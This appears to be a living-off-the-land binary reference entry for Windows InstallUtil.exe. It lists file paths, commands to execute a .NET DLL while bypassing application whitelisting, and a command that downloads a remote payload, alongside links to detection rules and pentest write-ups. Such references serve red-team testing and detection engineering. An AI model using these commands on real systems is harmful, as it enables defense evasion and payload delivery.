Installutil.exe
The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies
Full path
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exeCommands
Use to execute code and bypass application whitelisting
InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}Execute the target .NET DLL or EXE.
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Use to execute code and bypass application whitelisting
InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}Execute the target .NET DLL or EXE.
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Downloads payload from remote server
InstallUtil.exe {REMOTEURL}It will download a remote payload and place it in INetCache.
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Detection
- Sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_instalutil_no_log_execution.yml
- Sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml
- Elastic https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_installutil_beacon.toml
- Elastic https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
Resources
- https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/
- https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.004/T1218.004.md
- https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/
- https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
- https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool
acknowledgement: Casey Smith @subtee, Nir Chako (Pentera) @C_h4ck_0